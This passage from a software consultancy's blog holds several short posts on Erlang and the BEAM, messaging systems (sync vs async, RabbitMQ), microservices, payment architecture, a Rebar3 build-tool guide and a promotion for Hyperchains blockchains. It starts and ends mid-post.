The real benefit? You can focus on doing rather than managing. Your AI handles the nagging, you handle the work. Over time, it becomes second nature to see that Telegram bot’s friendly ping or the Slack channel that says “Time for creative free-flow,” and you just do it. Will it fix your entire life? Not if you’re determined to resist. But if you’re open to gentle pushes, a synergy coach can be just enough of a support system to keep you in the sweet spot between ambition and burnout.

So give it a try. Pull your instructions together, name your coach, automate the prompts, and see if your mornings don’t get a bit smoother.

Meanwhile, for me, I can focus on finishing The Beam Book or having that coffee break guilt-free-because hey, if my AI says I need it, who am I to argue?

It might even push me to do another blog post...

The Best Issue Ever Reported on GitHub

2025-03-06T00:00:00Z

Technical authors often brace themselves for GitHub issue notifications-each ping might herald a misplaced comma, a misunderstood explanation, or worse, a confusing typo deep within a critical code snippet. But once in a blue moon, amidst the expected barrage of bugs and nitpicks, an issue emerges that makes it all worth it.

Allow me to introduce my absolute favorite GitHub issue ever raised against The BEAM Book (you can read why I wrote it and what the writing taught me in separate posts):

Issue #113: "Please continue being awesome."

I'm not making this up. Amidst a sea of requests for fixes, clarification, or added chapters-this is the issue I get:

"This book is ridiculously good. I have only read a few bits of it so far and have learned a lot already. Please continue being awesome! 👏👍💯🥇😀"

Now, you might say, "But Erik, that doesn't seem like much of an issue." And you'd be right-it's entirely the opposite of a problem. In fact, it's probably the best non-issue issue ever logged. After years of working on projects and books, receiving bug reports, pull requests, and feedback, this one stands out by virtue of being entirely supportive and shockingly wholesome. It even has a few emoji sprinkled in for maximum effect. I've seen applause, thumbs-up, medals, and even a 100% emoji before, but having them all together in one GitHub issue comment? That's some Olympic-level cheerleading right there.

Yet, there's still a certain irony here-this praise has lingered in my open issues queue since 2018, which technically makes me guilty of procrastinating on the task of "continuing to be awesome." Perhaps I’m subconsciously worried that if I close the issue, I’ll no longer have the mandate-or the responsibility-to maintain my awesomeness. Perhaps I worry it's a race condition; if I mark it "closed," do I automatically stop being awesome?

Either way, Issue #113 is still open. And it's likely to stay that way, as a cheerful, gentle reminder amidst the bugs and quirks of writing technical books that, once in a while, people appreciate your work-not despite its quirks, but perhaps even because of them. I have marked it as 'wontfix' now.

Thanks, Nathan, whoever you are. Your issue will probably never get resolved-but it will certainly never be forgotten.

Keep logging those non-issues, everyone. They’re my favorite kind.

Hyperchains: Your Own L1 with Aeternity Tech

2025-03-05T00:00:00Z

Hyperchains: Your Own L1 Chain

Hyperchains are here. That means you can finally stop trying to shoehorn your project into someone else’s blockchain rules. Want to set your own fees? Go for it. Want complete control over tokenomics? No problem. Hyperchains let you launch your own sovereign Level 1 blockchain while leveraging the scalability, security, and efficiency of Aeternity's technology stack-without the headaches of building from scratch.

Why Hyperchains?

Building a blockchain from scratch is a heroic endeavor-one that usually ends in regret, delays, and a whitepaper no one reads. You need to secure the network, ensure scalability, and develop a robust infrastructure-all while maintaining decentralization. Traditional Layer 2 solutions attempt to offload these challenges but come with trade-offs: you don’t control transaction fees, your users must pay in the base chain’s token, and your transactions compete with all other Layer 2 and Layer 1 activity on that chain. This congestion leads to unpredictable fees and limited sovereignty.

Hyperchains solve this by allowing you to launch your own blockchain where you set the rules. You choose the transaction fees, decide on the tokenomics, and operate independently while still leveraging Aeternity’s security and scalability features. Instead of relying on complex rollups, Hyperchains achieve scalability through a low-overhead Proof-of-Stake consensus, ensuring high throughput without bottlenecks. Security is enhanced by pinning your chain’s state to an external blockchain like Aeternity, Dogecoin, or Bitcoin, adding an extra layer of verifiability. Combined with Aeternity's FATE VM and Sophia smart contracts, Hyperchains drastically reduce the risks of smart contract vulnerabilities, providing a safer and more efficient environment for decentralized applications.

How It Works

Hyperchains are fully independent blockchains that inherit security from a pinning chain but remain completely configurable by their creators. Unlike Layer 2 solutions, which are inherently dependent on the Layer 1 they operate on, Hyperchains run their own consensus and only use the pinning chain for added security and verification. This means you don’t compete for block space with other chains, leading to more stable fees and better performance.

As a Hyperchain creator, you decide on every aspect of your blockchain’s operation. Which token is used for fees? How are transactions validated? What governance model is in place? Everything is in your control. At the same time, you get access to Aeternity’s tech stack, including state channels for instant off-chain transactions, decentralized oracles for real-world data feeds, and the type-safe FATE VM for executing Sophia smart contracts. This enables fast, efficient, and secure execution without the complexity and limitations of traditional Layer 2 approaches. Hyperchains provide a balance between sovereignty and security, making them an ideal choice for projects that need performance without sacrificing decentralization.

Your Next Step

We are now in the release candidate phase for Hyperchains 1.0, meaning the technology is functional and ready for community testing. This is the last step before the official 1.0 release, and we invite developers, validators, and blockchain enthusiasts to put it through its paces, provide feedback, and help shape the final version.

Whether you're building a DeFi platform, NFT marketplace, decentralized social network, or a next-gen dApp, Hyperchains is the next generation blockchain to build on.

Now is the time to experiment, test, and contribute. Check out the Hyperchains release candidate and start building your own sovereign blockchain today:

🔗 Explore Hyperchains

Happi Hacking’s Role

At Happi Hacking, we've had the opportunity to contribute to the design and implementation of Hyperchains, working on key aspects of the consensus model and integration with Aeternity’s ecosystem. It’s been an exciting challenge, and we’re looking forward to seeing how the community puts Hyperchains to use. If you’re experimenting with the release candidate and have thoughts or questions, we’d love to hear them.

And if you are looking for an experienced blockchain development team we are here for you.

Synchronous vs. Asynchronous: Clearing the Confusion

2025-02-25T00:00:00Z

Synchronous vs. Asynchronous: Clearing the Confusion

The tech world is great at complicating simple concepts. Take synchronous and asynchronous communication, for example. Some people think it’s about threads, others think it’s about message queues, and some just use "async" because it sounds fancy.

Let’s clear up the confusion.

Synchronous vs. Asynchronous: What Do They Actually Mean?

At the highest level:

Synchronous = "Wait here until you get a response."
Asynchronous = "Send the request and move on, check back later."

That’s it. Really.

However, this simple distinction gets complicated when we start talking about calls, operations, logic dependencies, and protocols.

1. Asynchronous Calls vs. Asynchronous Operations

This is where most confusion starts.

An asynchronous operation is one that runs in the background. You trigger it and do something else while waiting for the result.
An asynchronous call is a call that does not block the caller. But-and this is key-it doesn’t mean you don’t care about the response.

Examples:

✅ Asynchronous call + asynchronous operation:

You send an email using an API. The system queues it, and you don’t care exactly when it gets sent.

✅ Asynchronous call + synchronous operation:

You fire off an HTTP request but don’t wait for the response (e.g., a webhook). The operation itself might complete immediately, but you’re not waiting around.

🚨 Synchronous call + asynchronous operation (the common mistake):

You call an API and wait synchronously for a response that takes time (e.g., querying a slow database). This defeats the purpose of async processing.

🚨 Asynchronous call + synchronous logic dependency:

You fire an async call but immediately need its return value. Now you’re manually implementing blocking logic.

2. How This Relates to APIs and Messaging

When you start adding APIs, message queues, and event-driven systems into the mix, the waters get murkier.

Concept	Synchronous?	Asynchronous?	Needs a Response?
REST API	✅ Often	❌ Rarely	✅ Yes
RPC (Remote Procedure Call)	✅ Usually	❌ Rarely	✅ Yes
Message Queue (MQ)	❌ No	✅ Yes	❌ No
Event-Driven (Pub/Sub, Kafka, etc.)	❌ No	✅ Yes	❌ No
Webhooks	❌ No	✅ Yes	✅ Sometimes

3. REST API vs. RPC vs. MQ vs. Event-Driven Systems

Now, let’s connect the dots.

REST API: Usually synchronous (you call an endpoint and wait for a response). But you can design it asynchronously, like submitting a job and polling for results.
RPC (gRPC, JSON-RPC, etc.): Usually synchronous, but async variations exist. Think of it as a "function call over the network."
Message Queues (RabbitMQ, SQS, Kafka, etc.): Asynchronous by nature. You publish a message, and the consumer processes it whenever it's ready.
Event-Driven Architecture: Similar to MQ, but typically broader (pub/sub). Events fire, and multiple systems react to them.

4. Common Misunderstandings

Let’s tackle some widespread mistakes.

"If it’s async, I can’t get a response"
- No. You can have an async request with an eventual response (e.g., polling, webhooks, or callbacks).
"A message queue means async"
- Usually, but you can have blocking consumers, turning it into a pseudo-synchronous system.
"I’m using REST, so it’s synchronous"
- Not necessarily. You can return a 202 Accepted and let the client poll for results.
"I need real-time responses, so async is not an option"
- WebSockets and streaming APIs allow real-time async responses.
"Synchronous calls are slow"
- Not always. A well-optimized synchronous system can be faster than a poorly designed async one.

5. When to Use What

Let’s be pragmatic.

Use synchronous (blocking) APIs when the caller needs a response immediately (e.g., fetching user data).
Use asynchronous APIs when the operation takes time or the client doesn’t need an immediate response (e.g., background processing).
Use message queues when you want decoupling and resilience in distributed systems.
Use event-driven systems when multiple consumers need to react to an event without direct coupling.

Conclusion

Synchronous vs. asynchronous isn’t just about threading or network calls. It’s about how you handle dependencies between operations.

If you need an immediate response, go synchronous.
If you can defer processing, go asynchronous.
If you need resilience and decoupling, use messaging.
If you need multiple consumers reacting to something, go event-driven.

Now, go forth and stop mixing up async calls with async logic dependencies. Your future self will thank you.

Is RabbitMQ Unreliable? A Reality Check

2025-02-24T00:00:00Z

RabbitMQ: The Undeserved Reputation

There’s a common claim floating around that RabbitMQ is unreliable. The truth is, RabbitMQ is not unreliable-it is often just misunderstood or misconfigured. Like any tool, RabbitMQ has its strengths and weaknesses, and when used correctly, it is an incredibly powerful message broker.

Let’s break it down:

When should you use RabbitMQ?
How does it compare to MQTT and Kafka?
How does it compare to event-driven architectures?
Could you achieve similar results with just a database?

What is a Message Queue (MQ)?

A Message Queue (MQ) is a system that allows messages to be sent and received asynchronously. It ensures that producers and consumers are decoupled, allowing for load balancing, fault tolerance, and scalability.

RabbitMQ is a message broker that enables this functionality using AMQP (Advanced Message Queuing Protocol), ensuring reliable delivery with support for:

Acknowledgments: Prevents message loss by confirming receipt.
Persistence: Ensures messages survive restarts.
Redelivery & Dead-lettering: Handles failed messages gracefully.

Is RabbitMQ Unreliable?

No. But it can be misconfigured in ways that lead to dropped messages, unnecessary duplication, or performance issues.

Common Causes of "Unreliability"

No Acknowledgments (ack=false) - If you don’t acknowledge messages, RabbitMQ assumes they were processed successfully and discards them.
Transient Queues - By default, queues are non-durable, meaning they disappear when the broker restarts unless explicitly made durable.
Memory Pressure - If RabbitMQ runs out of memory, it might discard messages, especially if flow control isn’t handled properly.
Improper Consumer Handling - If consumers fail without requeuing messages, they can be lost.
Network Issues - Like any distributed system, RabbitMQ depends on a stable network. Partitioning without proper clustering can lead to message loss.

Configured correctly, RabbitMQ is as reliable as your requirements demand.

RabbitMQ vs. Kafka vs. MQTT

Feature	RabbitMQ	Kafka	MQTT
Message Model	Queue-based	Log-based	Pub/Sub
Durability	Optional (persistent queues)	Built-in (append-only log)	Typically transient
Throughput	Moderate to High	Very High	Low to Moderate
Use Case	Task queues, RPC, event-driven	High-throughput event streaming	IoT, low-bandwidth messaging
Ordering	Per queue	Per partition	Not guaranteed
Message TTL & Expiry	Supported	Not native	Supported
Built-in Acknowledgments	Yes	No (must track offsets)	Yes

When to Use Which?

RabbitMQ: When you need task queues, RPC, or event-driven messaging with flexible routing.
Kafka: When you need event replay, distributed log processing, or streaming analytics.
MQTT: When you need lightweight, low-power, and unreliable networks, especially in IoT.

MQ vs. Event-Driven Architectures

A common misconception is that message queues and event-driven systems are the same. They are not.

Message Queue (MQ): Ensures a message is delivered once and only once to a consumer. It is about reliability.
Event-driven systems: Focus on broadcasting events to multiple consumers who may or may not act on them.

When to Use an MQ?

You need work queues where each message should be processed exactly once.
You have RPC-like behavior, where responses are expected.
You need backpressure handling, so producers don’t overload consumers.

When to Use an Event-Driven System?

You need event sourcing or event logs (Kafka-style architecture).
You have multiple consumers interested in the same message.
You need event replay and persistence.

TL;DR: Use RabbitMQ when you need a robust task queue. Use event-driven patterns when you need event broadcasting and replay.

Can You Achieve the Same With a Database?

Some argue that you don’t need an MQ and could just use a database. Let’s compare:

Feature	RabbitMQ	Database (e.g., PostgreSQL)
Message Ordering	Guaranteed per queue	Only via strict transactional locks
Throughput	High	Medium (depends on indexing)
Scalability	Horizontal (clustering)	Harder to scale writes
Message TTL	Native	Requires manual cleanup
Consumer Groups	Built-in	Needs polling or triggers

When to Use a Database Instead?

For simple, low-throughput use cases.
When you need strong consistency.
If you already have a polling mechanism and don’t want an extra dependency.

However, using a database for messaging introduces polling inefficiencies, lacks built-in acknowledgments, and doesn’t scale as well as a dedicated message broker.

Final Thoughts

RabbitMQ is reliable-if used correctly.
RabbitMQ vs. Kafka vs. MQTT depends on use case and scale.
Message Queues ≠ Event-Driven Systems, but they can complement each other.
You can use a database, but it’s often not the best tool for the job.

If you've been burned by RabbitMQ, the issue was likely misconfiguration, not fundamental flaws. Understanding its strengths and using it appropriately will lead to a robust and reliable messaging system.

For a deeper look at the sync-vs-async distinction that underlies all of these tools, see Synchronous vs. Asynchronous: Clearing the Confusion. For a real-world case study where RabbitMQ caused production issues and how we resolved them, see Unleashing the Power of Erlang's BEAM: A Case Study with Delta Exchange.

Happy messaging!

Forget Microservices: Just Use Erlang.

2025-02-21T00:00:00Z

Forget Microservices: Just Use Erlang.

Once upon a time, software engineers decided that monoliths were bad.

"Monoliths don’t scale," they said. "Microservices give you flexibility," they said. "Just break it up into small services!" they said.

And then they spent the next two years debugging network partitions, timeouts, and retries, while their monolithic colleagues… just kept shipping features.

But hey, at least their architecture diagrams look nice.

The Myth of the Monolith

A monolith, according to microservices evangelists, is a big, scary thing that will eventually crush your hopes, dreams, and deploy pipeline.

The solution? Take your nice, self-contained system and distribute it across twelve different languages, five different message queues, and an unmaintainable web of HTTP calls.

Of course, now every request has a 1% chance of failing mysteriously, but that’s resilience engineering, not a bug.

A distributed system, without the distributed headaches.

Here’s the thing: if you write your system in Erlang, you don’t actually have a monolith. Instead, you get lightweight processes instead of OS threads-essentially microservices without the YAML. You get message passing instead of API calls, allowing for asynchronous execution without the added risk of network failures. And you get supervision trees that replace the need for a dedicated chaos engineering team because your system automatically recovers from failures. In short, Erlang provides all the benefits of microservices without the latency, operational complexity, or existential angst.

In other words: You already built an Erlang system-you just made it 10x slower and called it “modern architecture.”

Congratulation: You have built an Erlang

Virding’s First Rule of Programming

There’s an old saying:

“Any sufficiently complicated concurrent program in another language contains an ad hoc, informally-specified, bug-ridden implementation of half of Erlang. -- Robert Virding”

Which of course is a paraphrasing of Greenspun's tenth rule.

And yet, here we are.

People reinvent Erlang every day, usually by:

Wrapping HTTP in gRPC.
Implementing retries with exponential backoff.
Logging everything, because nobody actually knows how their system works anymore.

So, Should You Build a Monolith?

Yes. But in Erlang. Because then, it isn’t a monolith.

It’s a highly efficient, self-healing, distributed system-without the part where you spend your weekends fixing Kubernetes networking issues.

And if you still really want microservices?

Congratulations, you already have them.

They're just called OTP Applications, and they don't require four extra DevOps engineers to keep running.

For a more detailed look at what goes wrong when microservices lack structure, see Microservices Are NOT an Excuse for Chaos. For a practical discussion of how Erlang handles high-volume workloads in production, see How Erlang Powers High-Volume Finance.

Conclusion

Before you break your system into 100 microservices, ask yourself:

Do you need microservices, or do you just need Erlang?

Because if you don’t, you’re probably just reimplementing it-badly.

And deep down, you already knew that.

The Hidden Cost of Bad Payment Architecture

2025-02-20T00:00:00Z

The Hidden Cost of Bad Payment Architecture

If you've ever tried to fix a broken payment system, you know it's never just one thing. It's a mess of poor decisions, technical debt, and wishful thinking piled into an unscalable, unreliable, and costly beast. And yet, many companies only start caring about payment architecture when customers start screaming-or worse, silently leaving.

Buy Now, Panic Later: The BNPL of Bad Payment Systems

Most payment systems start as a simple need: "We need to process payments." So someone wires up an API to Stripe, PayPal, or Adyen, writes some logic around it, and calls it a day. It works. Until it doesn’t. Over time, the system accrues patches, exceptions, and workarounds. A second payment provider is added. Then a third. Some customers require invoicing, others want subscriptions, and international payments bring in new compliance requirements. Soon, the once-simple system is a labyrinth of unmaintainable complexity. By the time a company realizes the cost, it's too late. Payments aren’t just a feature-they are the foundation of revenue. And if that foundation is brittle, everything built on top of it is at risk.

Transaction Declined: The True Cost of Bad Payment Architecture

Bad payment architecture introduces failures at multiple points. High rejection rates arise due to insufficient retry logic, missing metadata, or poor handling of 3D Secure (3DS) challenges. Silent failures occur in edge cases where a transaction "succeeds" on the frontend but never gets recorded. Concurrency issues lead to double charges or duplicate refunds due to race conditions. When payments fail, customers don’t blame the system-they blame the company. And some won’t come back.

The Late Fee of Bad Design: Operational Overhead

A fragile payment system means constant firefighting. Finance teams have to manually reconcile transactions across multiple providers. Customer support becomes overloaded with users asking why their payments failed. Development teams waste time building custom fixes for every provider, each requiring its own logic, retry mechanisms, and integrations. Every hour spent fixing payment issues is an hour not spent improving the business.

Compliance? More Like Complication Fees

Payments are subject to strict regulations such as PSD2, PCI-DSS, AML, and local tax laws. Poor architecture increases the risk of non-compliance, leading to incorrect card data storage, mishandled refunds and chargebacks, and failures to comply with Strong Customer Authentication (SCA), resulting in unnecessary declines. Regulatory non-compliance can result in hefty fines that far exceed the cost of building a better system upfront.

Scaling? More Like Failing

A payment system designed for a small number of transactions per month won’t survive at scale. Symptoms of bad scaling include database contention causing slow transactions, lack of idempotency leading to duplicate charges and refund loops, and an inflexible provider setup where a single outage halts all payments. As the business grows, every new customer isn’t just revenue-it’s additional strain on an already fragile system.

Fix Now, Profit Later: The BNPL of Smart Architecture

Fixing the mess requires decoupling payment logic from business logic. Payments should be treated as an isolated service rather than tightly coupled logic spread across multiple modules. A well-designed architecture uses an event-driven model where a "payment_succeeded" event triggers order fulfillment, supports multiple providers without rewiring core business processes, and stores transaction states robustly to allow for retries and audits.

Idempotency is non-negotiable (I cover this in more depth in Why "Exactly Once" in Payments Is a Myth). Every transaction should be designed to be safely retried without causing duplicate charges. This means using unique transaction IDs for every operation, ensuring refunds and chargebacks don’t trigger unintended side effects, and implementing distributed locks or transactional guarantees where needed.

No system is perfect, but good ones fail gracefully. Implementing automatic retries with exponential backoff, logging failures properly so debugging is possible, and proactively notifying customers when something goes wrong instead of waiting for them to complain are essential measures.

Rather than embedding provider-specific code deep in the application, an abstraction layer should be used. This allows swapping payment providers without major rewrites, normalizes errors and response formats across gateways, and supports smart routing by sending high-risk transactions to providers with better fraud protection.

Bad payment architecture is an invisible tax on every transaction, every support ticket, and every regulatory fine. Companies that invest in robust, scalable, and failure-tolerant payment systems don’t just improve reliability-they increase revenue, reduce costs, and future-proof their business. If your payment system is already showing cracks, the best time to fix it was yesterday. The second-best time is now.

Opinions: Just the Facts, 11 Years Later

2025-02-19T00:00:00Z

Opinions: Just the Facts, 11 Years Later

A decade ago, I wrote a blog post declaring my distaste for opinions. I preferred facts. I had only three opinions:

I don’t like opinions.
XSLT is a terrible programming language.
Redefinable syntax like operation overloading and macros is evil.

That post still holds up fairly well, but let’s revisit it with 11 years of hindsight. Have I softened? Have I embraced the messy subjectivity of the human condition? No. But I have refined my stance.

The Problem with Opinions

One of the things I originally hated about opinions was the expectation that everyone must have one on every topic. This still frustrates me. Not everything requires my input.

“What do you think of the new MacBook?” - It runs software. That’s its job.
“What’s your take on [current geopolitical crisis]?” - I’m not a historian. My uninformed opinion is irrelevant.
“Do you like this blouse?” - It’s red. You look fine. But you’d look fine in any color.

I still reject the idea that opinions should be formed without knowledge, and I still prefer to engage in conversations where evidence and reasoning drive conclusions.

But… Some Opinions Are Useful

In 11 years, I’ve realized that some opinions are not just tolerable but necessary. In particular:

Opinions as decision accelerators. Sometimes, an opinion isn’t about being objectively correct-it’s about moving forward. If every architectural decision required unanimous factual consensus, nothing would ever ship.
Opinions as heuristics. We can’t test everything ourselves. Some opinions are shortcuts based on pattern recognition and experience.
Opinions as cultural markers. They define what matters in a team, a company, a language community. “We value explicit over implicit” is an opinion, and that’s okay.

The Facts Still Win

But at the end of the day, opinions are not a substitute for facts. We should challenge them, update them, and discard them when they no longer serve us. If an opinion can’t withstand scrutiny, it was never worth having in the first place.

And yes, I still think XSLT is a terrible programming language, and that redefinable syntax is evil. Some opinions stand the test of time.

Microservices Are NOT an Excuse for Chaos

2025-02-18T00:00:00Z

Microservices Are NOT an Excuse for Chaos

Too many teams think "microservices" means "no rules." The result? A distributed spaghetti mess-harder to debug, more expensive to operate, and a nightmare to scale.

The promise of microservices is autonomy, scalability, and resilience. But in practice, microservices can lead to data silos, inconsistent APIs, and operational nightmares if not handled correctly.

The Problem: Unstructured Microservices Lead to Complexity

Teams often dive into microservices without understanding the trade-offs. Without structure, they introduce more problems than they solve:

No clear data ownership → Services fight over shared databases, causing unpredictable failures.
Inconsistent messaging patterns → Some teams use REST, others gRPC, others RabbitMQ, with no unifying strategy.
Lack of observability → Debugging across multiple services becomes an exercise in blind guessing.
Service sprawl → Every minor function becomes a separate service, leading to unnecessary overhead.

A poorly structured microservices architecture can be worse than a monolith because it distributes complexity without a clear control mechanism.

The Solution: Structure Before Scale

Microservices work only when the fundamentals are in place:

✅ Data Has Clear Owners

Each service must own its own data. Shared databases across services create hidden coupling and make failure isolation impossible.
Follow Domain-Driven Design (DDD) to ensure that data boundaries match business logic.

✅ Consistent Communication Patterns

Define when to use APIs, event-driven messaging, or direct service-to-service calls.
API contracts must be strictly defined and versioned to prevent breaking changes.
Event-driven architectures work-but only when events are properly modeled and handled.

✅ Observability is Built-In

Logs, metrics, and traces should be first-class citizens in your architecture.
Use OpenTelemetry, distributed tracing, and structured logging to track service interactions.
If you can’t trace a request across multiple services, your system is already broken.

The Hard Truth: Microservices Aren’t Always the Right Choice

If your team lacks operational maturity, well-defined domain boundaries, or clear integration strategies, microservices will slow you down rather than speed you up.

If your services still need to communicate frequently, they aren’t microservices-they’re a distributed monolith with extra network latency.
If your deployment pipelines aren’t automated, microservices will increase complexity, not reduce it.
If your organization doesn’t have strong architectural discipline, microservices will lead to fragmentation rather than agility.

Conclusion: Build Microservices With Purpose

Microservices aren’t an excuse to abandon structure. Done right, they provide fault isolation, independent scaling, and faster deployments. Done wrong, they create distributed chaos.

Before breaking your monolith into microservices, ask yourself:

Do you have clear data ownership?
Are your communication patterns consistent?
Can you trace requests across the entire system?

If not, fix those first. Otherwise, you're just replacing a bad monolith with an even worse distributed system.

For a contrarian take on the monolith-vs-microservices debate, see Forget Microservices: Just Use Erlang. For guidance on structuring concurrent systems by domains and clear process responsibilities, see Designing Concurrent Systems on the BEAM.

Getting the hang of Rebar3

2025-01-07T00:00:00Z

Rebar3 is the standard build tool and package manager for the Erlang programming language. While the official documentation is pretty good, it can be hard for a beginner to grasp what Rebar3 is really doing at times, and why; in particular how profiles and releases and dependencies work, where the build results end up, and so on.

This guide assumes you already have installed Erlang and Rebar and you understand the basics of Erlang/OTP applications and their directory structure.

Running

Like most typical build tools, basic usage is just rebar3 <command>, with commands for instantiating a new project, compiling, running tests, building a release package, etc.

Common commands are:

rebar3 help
rebar3 new
rebar3 compile
rebar3 shell
rebar3 release
rebar3 eunit
rebar3 ct

For the beginner, note that simply running erl to launch Erlang will get you an interactive Erlang shell but will not add your application to the code path, unless you do so yourself with a flag like -pa <ebin-dir>.

Instead, use rebar3 shell and Rebar3 will launch an Erlang shell with the code path set up for you. This will also launch your Erlang applications in the background according to your configuration, so that you can start interacting with them (mainly for debugging). If you want to get a shell without launching anything, use rebar3 shell --start-clean.

For details on all the commands, see the official documentation.

Configuration

Rebar3 reads the rebar.config file to know what to do. This consists of one or more plain Erlang tuples: {...}, each terminated by a full stop and newline, for example:

{erl_opts, [debug_info]}.

These may contain numbers, double-quoted strings "...", symbols ("atoms") such as erl_opts, lists [...], and other nested tuples.

Apart from compilation options and other details, the deps section of this file lists dependencies (other Erlang apps which will be fetched automatically):

{deps, [{getopt, "1.0.2"},
        {cowboy, {git, "https://github.com/ninenines/cowboy.git",
                 {tag, "2.11.0"}}},
        ... ]}.

the relx section defines how a Release (the package that you ship) is put together:

{relx, [{release, { my_release, "1.0.2"},
         [my_app1, my_app2]},
        {include_erts, true},
        ... ]}.

and the profiles section specifies the different Rebar3 Profiles:

{profiles, [{prod, [... prod-specific-options ...
                   ]},
            {test, [... test-specific-options ...
                   ]},
           ]}.

In addition, if the file rebar.config.script (an Erlang script) exists, it will be executed by Rebar3 to perform dynamic configuration.

There are many other things that can be configured. For a complete list, see the official documentation.

Generated files

Rebar3 does not write into your source directories, and instead outputs all generated files under a separate directory which by default is named _build/. It's always safe to delete the whole build directory and recompile everything.

Source files

Rebar3 expects that applications follow the standard Erlang application structure. A Rebar3 project can be either a single application with a rebar.config file in the project root directory and a src/ subdirectory, or it can consist of a collection of applications in a subdirectory named apps/ (alternatively lib/), with the main rebar.config in the root directory and each app having its own src/. Such a collection is called an "umbrella project".

An umbrella application is usually published as a Release - a complete Erlang system to run on some target machine. Often, only a top level rebar.config file is needed, but individual apps (apps/app1/, apps/app2/, ...) may have their own rebar.config files in order to use individual build options, pre- or post-build hooks, etc.

A single application can be made into a Release but it can also be published as a standalone library (that others can use as a dependency), or turned in to an escript (a standalone executable).

Releases

A release is a package that can be installed and run on a target machine, where the operator doesn't necessarily know anything about the implementation. When Rebar3 builds a release, typically using a command like

rebar3 as prod release

rebar3 as prod tar

it puts the files under _build/$PROFILE/rel/$RELNAME, where $PROFILE in this case would be prod (see Profiles below) and $RELNAME is taken from the configuration. A typical release specification in your rebar.config looks something like this:

{relx, [{release, { my_release, DEFAULT_VERSION_STRING },
         [app1, app2, ...]},
        {sys_config, "./config/sys.config"},
        {vm_args, "./config/vm.args"},
        {overlay, [{copy, "LICENSE" , "LICENSE"},
                   {copy, "docs/README.md", "docs/REAME.md"}
                  ]}
       ]}.

A start script bin/$RELNAME will be generated automatically, providing standard CLI commands for your release, like bin/my_release start. The listed Erlang apps [app1, app2, ...] will be included in the release package and will be launched when the script runs, using the included sys_config and vm_args configuration files.

External Dependencies

Dependencies can be specified either just by name and version, as in {deps, [{gproc, "0.9.0"},...]}, in which case they are downloaded via the Hex package manager, or as a Git URL, as in {deps, [{cowboy, {git, "https://github.com/ninenines/cowboy.git", {tag,"2.11.0"}}},...]}, in which case they are checked out and built. See Profiles below for details about where the code ends up.

Note that listing an app as a dependency does not automatically include it in the final Release package - for that to happen, it must also be included in the relx specification (see above). For instance, libraries only used for building or testing may be listed as dependencies but should not be in the release spec.

The relx section does not however need to list every app that should be included in the Release. Each individual app should contain a *.app metadata file, which lists its specific startup dependencies {applications, ...}, so if an app a declares that it has a runtime dependency on app b, and Rebar3 has been told to include a, it will automatically also include b, and so on, transitively, so that the Release package will always contain all apps required for running.

Conversely, listing an app in the release spec or a *.app file does not tell Rebar3 how to find and download that app if it is not part of your source code - all external dependencies need to be declared in the deps section.

Dependency pinning

When new dependencies have been fetched, Rebar3 updates the rebar.lock file with more exact information about the version, such as the Git hash, not just the branch or tag name used in the deps declaration. This file should typically be kept under version control to ensure repeatable builds. See the Rebar3 documentation for details.

Checkout dependencies - locally sourced apps

You can also create a subdirectory or symbolic link named _checkouts, containing apps or links to apps that you have as local files, maybe not yet published or committed, such as a library that you're currently making changes to. Apps found under _checkouts take precedence over any other apps with the same names, even if they already exist under _build.

Testing

There are two main test frameworks in Erlang: EUnit for lightweight unit tests, and Common Test which is more complex and can do system level testing. To run all EUnit tests in your applications, say rebar3 eunit. To run all tests written with Common Test, say rebar3 ct.

Rebar3 will ensure that the Erlang code path is set up to find both your code and your test suites. You should put Common Test files in a separate test/ subdirectory of each application. Note that if you want to run Common Test test code interactively from an Erlang shell, you must start the shell using the test profile:

rebar3 as test shell --start-clean

so that Rebar3 will add code paths to the test subdirectories. See below for a full explanation of profiles.

For an umbrella project, you can also place test files in a directory test/ directly under the project root, for tests that pertain to the project as a whole rather than to one of its individual apps.

To run the Dialyzer type analysis tool, say rebar3 dialyzer.

You can define aliases in rebar.config to simplify common tasks like running tests; for example:

{alias, [{check, [dialyzer, eunit, ct]}]}.

letting you say simply rebar3 check to run all three.

Profiles

The default profile simply means the rebar.config without any specific profile applied. This will be used when you just say e.g. rebar3 compile. To apply a profile such as prod to a command, say rebar3 as prod compile. You can use any profile names you like, but some names have special meaning to Rebar3:

The prod profile will automatically apply the prod mode (see below).
When running the commands rebar3 eunit or rebar3 ct, the profile named test will be automatically applied.

For example, if your tests require the meck library to run, you can add it as a dependency to only the test profile, like this:

{profiles, [{test, [{deps, [meck]}]}]}.

Where do the files go?

When Rebar3 builds things, it puts the generated files under _build/$PROFILE/. For example, Erlang apps compiled with rebar3 compile end up under _build/default/lib, but when compiled with rebar3 as prod compile the files are placed under _build/prod/lib.

External dependencies, as specified in {deps, ...}, are treated specially:

They are always built using their individual prod profiles, no matter what profile Rebar3 has been told to use currently.
The files are placed under _build/default/lib (rather than _build/prod/lib), because they should be available under the default profile.
When Rebar builds other profiles than the default, it does not rebuild the external dependencies. Instead it creates symbolic links from _build/$PROFILE/lib to the already built files under _build/default/lib.

The exception is dependencies specified as part of an individual profile, as in {profiles, [{test, [{deps, [meck]}]}]}, which get stored under that profile (in this case _build/test/lib) since they should not be available under the default profile.

These locations are typically not the final destination for the compiled files. Usually, they will later get copied into a Release package under _build/$PROFILE/rel for distribution as a tarball or similar.

Modes

Modes are shortcuts for some basic settings, for example {mode, prod} sets some typical options for production. The builtin modes are:

prod: Include the Erlang Runtime System in the release package, don't include source code, and strip any debug information. Copy files into the release package instead of using symbolic links.
minimal: Like prod but does not include the Erlang Runtime System.
dev: The inverse of prod.

In particular, {mode, dev} implies the {dev_mode, true} option, which creates symbolic links instead of copying files when composing a release. This means that you don't need to rebuild the release when you make a small change during development; just recompiling is enough.

Conclusion

We have gone through the most important concepts in Rebar3 and shown how they interact and where the resulting files end up. We hope this has been useful to beginners and seasoned programmers alike.

Why Windows 11 Virtual Desktop Switching Is Slow

2024-12-17T00:00:00Z

Why Windows 11 Virtual Desktop Switching Is Slow

If switching between virtual desktops in Windows 11 feels slow, you're not alone. The likely cause is the automatic accent color feature. While it may seem harmless, this feature can significantly impact performance, particularly if you are using multiple monitors or large background images.

A Personal Encounter with the Slowdown

I had been frustrated with the slow virtual desktop switching in Windows 11 for some time. My PC has several virtual desktops-one for each project or company I'm working on, along with one for home and one for gaming. To help easily identify which desktop I was on, I set up different background wallpapers for each one.

My Linux and macOS systems handled desktop switching smoothly, so I couldn't understand why Windows 11 was struggling.

While upgrading to Windows 11 24H2 and tidying up my system, I decided to investigate. What I found surprised me.

Therefore, I created this post to remind myself in the future and possibly assist others seeking answers to this issue.

How Automatic Accent Colors Slow You Down

